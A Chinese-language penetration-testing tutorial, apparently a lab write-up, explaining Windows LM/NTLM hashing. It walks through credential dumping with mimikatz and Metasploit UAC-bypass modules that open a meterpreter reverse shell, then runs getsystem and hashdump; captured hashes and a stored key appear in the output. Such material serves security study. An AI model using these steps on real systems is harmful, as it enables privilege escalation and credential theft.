windows用户密码破解
一、hash简介
Hash主要用于信息安全领域中加密算法,渗透测试中获取目标系统的明文或Hash往往是整个渗透测试过程中重要的一环。在Windows系统中本机用户的密码Hash是放在本地的SAM文件里面,域内用户的密码Hash是存在域控的NTDS.DIT文件里面。
Windows使用使用两种方法对用户密码进行哈希处理:
1、LAN Manager(LM) 2、NTLAN Manager(NT)
其中,NTLM-HASH比LM-HASH的安全性要更高 自Windows Vista和Windows Server 2008开始,Windows取消LM hash。 当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码
二、老版本Windows系统下的hash密码格式
用户名称:RID:LM-HASH值:NT-HASH值 例如: Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::
用户名称为:Administrator RID为:500 LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE NT-HASH值为:32ED87BDB5FDC5E9CBA88547376818D4 如果已经得到hash值,那么可以通过在线网站去破解:md5在线解密破解,md5解密加密 (cmd5.com)
三.本机用mimikatz抓取
windows sam文件 windows的用户hash一般是存储在C:\windows\system32\config\SAM
文件中(域控存在NTDS.dit文件中),只不过,就算是管理员权限,也是无法正常打开并读取文件内容,因此一般无法直接通过SAM文件获取用户hash。
管理员身份运行mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 2577682 (00000000:00275512) Session : Interactive from 2 User Name : Administrator Domain : LAPTOP-PRLUQ9C2 Logon Server : LAPTOP-PRLUQ9C2 Logon Time : 2024/4/20 20:10:35 SID : S-1-5-21-2743857286-2911329656-2530686096-500 msv : [00000003] Primary * Username : Administrator * Domain : LAPTOP-PRLUQ9C2 * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709 * DPAPI : da39a3ee5e6b4b0d3255bfef95601890 tspkg : wdigest : * Username : Administrator * Domain : LAPTOP-PRLUQ9C2 * Password : (null) kerberos : * Username : Administrator * Domain : LAPTOP-PRLUQ9C2 * Password : (null) ssp : credman : cloudap :
Authentication Id : 0 ; 258127 (00000000:0003f04f) Session : Interactive from 1 User Name : gchoud Domain : LAPTOP-PRLUQ9C2 Logon Server : LAPTOP-PRLUQ9C2 Logon Time : 2024/4/20 20:10:05 SID : S-1-5-21-2743857286-2911329656-2530686096-1001 msv : [00000003] Primary * Username : gchoud * Domain : . * NTLM : aeeea7a0d267d39a9c41e7ceae8af007 * SHA1 : 296e5562e30d3a370e09f6522d286c6474ed49af * DPAPI : 296e5562e30d3a370e09f6522d286c64 tspkg : wdigest : * Username : gchoud * Domain : LAPTOP-PRLUQ9C2 * Password : (null) kerberos : * Username : gchoud * Domain : LAPTOP-PRLUQ9C2 * Password : (null) ssp : credman : [00000000] * Username : localKey * Domain : Termius/localKey * Password : 75 2b 2f 6c 48 4c 53 4a 42 67 4d 71 79 4b 44 4c 31 58 5a 37 4e 54 67 76 62 67 39 4c 2f 73 6a 62 2f 74 6f 65 56 6d 70 63 72 71 55 3d 00 00 00 00
系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,所以明文密码为null
四,LM,NTLM算法
Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希。所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。
LM型哈希
LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现,NTLM哈希用于Windows 2000、XP、Vista和Windows 7系统中。新版操作系统因兼容缘故仍然支持LM哈希算法。但是在Windows Vista和Windows 7系统中,这种哈希算法是默认关闭的。
对一个密码进行LM哈希处理分以下六步:
-
用户的密码字符串被全部转换成大写字母形式;
-
给密码字符串增加空字符,直到使其包含有14个字符为止;
-
“新”得到的密码字符串被分成两半,每一半分别包含7个字符;
-
每一半字符串都各自添加一个校验位,分别用于创建两个64位的DES加密密钥;
-
所生成的每一个DES密钥都被用于加密一个固定的ASCII字符串KGS!@#$%,得到两个长度为8字节的密文;
-
两个8字节的密文合并起来,形成1个16字节的字符串。至此,LM哈希结束。
举例来说,根据上面的步骤,密码“PassWord123”的LM哈希处理过程如下:
-
全部转换为大写字母形式:PASSWORD123;
-
补充空字符使其包含有14个字符:PASSWORD123000;
-
从中间一分为二,分别得到PASSWOR和D123000;
-
分别添加校验位,得到PASSWOR1和D1230001,用于生成DES密钥;
-
用生成的DES密钥加密一个给定的字符串,得到E52CAC67419A9A22和155195140A852F61;
-
合并得到E52CAC67419A9A22155195140A852F61
NTLM型哈希
NT LAN Manager(NTLM)哈希算法是微软认可的另一种算法。NTLM哈希创建起来实际上更为简单。它以MD4哈希算法为基础、通过一系列数学运算来创建哈希值。在密码字符串转换成Unicode编码后,MD4算法开始生成NT哈希。假设明文口令是“123456”,首先转换成Unicode字符串,与LM Hash算法不同,这次不需要添加0x00补足14字节"123456" -> 310032003300340035003600
从ASCII串转换成Unicode串时,使用little-endian序,微软在设计整个SMB协议时就没考虑过big-endian序,ntoh()、hton()函数不宜用在SMB报文解码中。0x80之前的标准ASCII码转换成Unicode码,就是简单地从0x??变成0x00??。此类标准ASCII串按little-endian序转换成Unicode串,就是简单地在原有每个字节之后添加0x00。对所获取的Unicode串进行标准MD4单向哈希,无论数据源有多少字节,MD4固定产生128-bit的哈希值16字节310032003300340035003600 -进行标准MD4单向哈希->32ED87BDB5FDC5E9CBA88547376818D4就得到了最后的NTLM Hash NTLM Hash: 32ED87BDB5FDC5E9CBA88547376818D4
与LM Hash算法相比,明文口令大小写敏感,无法根据NTLM Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举作为数据源出现的明文,难度较大
相较于DES加密,MD4哈希算法被认为要强壮得多。因为它允许使用更长的密码,允许有大小写的不同,而且也无须把密码分割成更小、更易于被破解的块。
渗透本机
bypassUAC UAC:用户帐户控制(User Account Control),是windows操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改。
getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权。
search bypassuac #查找对应模块 use exploit/windows/local/bypassuac_injection_winsxs set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.196.144 set session 1 set target 1 exploit [*] Started reverse TCP handler on 192.168.196.144:4444 [+] Windows 10+ Build 19045 may be vulnerable. [*] UAC is Enabled, checking level... [+] Part of Administrators group! Continuing... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [*] Creating temporary folders... [*] Uploading the Payload DLL to the filesystem... [*] Spawning process with Windows Publisher Certificate, to inject into... [+] Successfully injected payload in to process: 11048 [*] Exploit completed, but no session was created. use use exploit/windows/local/bypassuac_sdclt set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.196.144 set session 1 exploit [*] Started reverse TCP handler on 192.168.196.144:4444 [*] UAC is Enabled, checking level... [+] Part of Administrators group! Continuing... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [!] This exploit requires manual cleanup of 'C:\Users\gchoud\AppData\Local\Temp\jzUnERANDSyZ.exe' [*] Please wait for session and cleanup.... [*] Sending stage (201798 bytes) to 192.168.196.1 [*] Meterpreter session 2 opened (192.168.196.144:4444 -> 192.168.196.1:64625) at 2024-04-20 21:50:38 -0400 [*] Registry Changes Removed
migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为232的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。
meterpreter > getuid Server username: LAPTOP-PRLUQ9C2\gchoud meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: gchoud:1001:aad3b435b51404eeaad3b435b51404ee:aeeea7a0d267d39a9c41e7ceae8af007::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: MSSQLSERVER01:1007:aad3b435b51404eeaad3b435b51404ee:3cfe6ff18e29def407428ac440c9ca71:::
对于LM都是aad3b435b51404eeaad3b435b51404ee的理解
aad3b435b51404eeaad3b435b51404ee:MD5解密后为空字符串
1,Administrator压根就没设置密码,说以为空,且31d6cfe0d16ae931b73c59d7e0c089c0也为空
mimikatz
meterpreter > load kiwi meterpreter > help kiwi Kiwi Commands ============= Command Description ------- ----------- creds_all Retrieve all credentials (parsed) creds_kerber Retrieve Kerberos creds (parsed) os creds_livess Retrieve Live SSP creds p creds_msv Retrieve LM/NTLM creds (parsed) creds_ssp Retrieve SSP creds creds_tspkg Retrieve TsPkg creds (parsed) creds_wdiges Retrieve WDigest creds (parsed) t dcsync Retrieve user account information via DCSync (unparsed) dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync golden_ticke Create a golden kerberos ticket t_create kerberos_tic List all kerberos tickets (unparsed) ket_list kerberos_tic Purge any in-use kerberos tickets ket_purge kerberos_tic Use a kerberos ticket ket_use kiwi_cmd Execute an arbitrary mimikatz command (unparsed) lsa_dump_sam Dump LSA SAM (unparsed) lsa_dump_sec Dump LSA secrets (unparsed) rets password_cha Change the password/hash of a user nge wifi_list List wifi profiles/creds for the current user wifi_list_sh List shared wifi profiles/creds (requires SYSTEM) ared meterpreter > lsa_dump_sam RID : 000001f4 (500) User : Administrator RID : 000001f5 (501) User : Guest RID : 000001f7 (503) User : DefaultAccount RID : 000001f8 (504) User : WDAGUtilityAccount Hash NTLM: a17167aaa8dfa559b0e0645b855b5d8c RID : 000003e9 (1001) User : gchoud Hash NTLM: aeeea7a0d267d39a9c41e7ceae8af007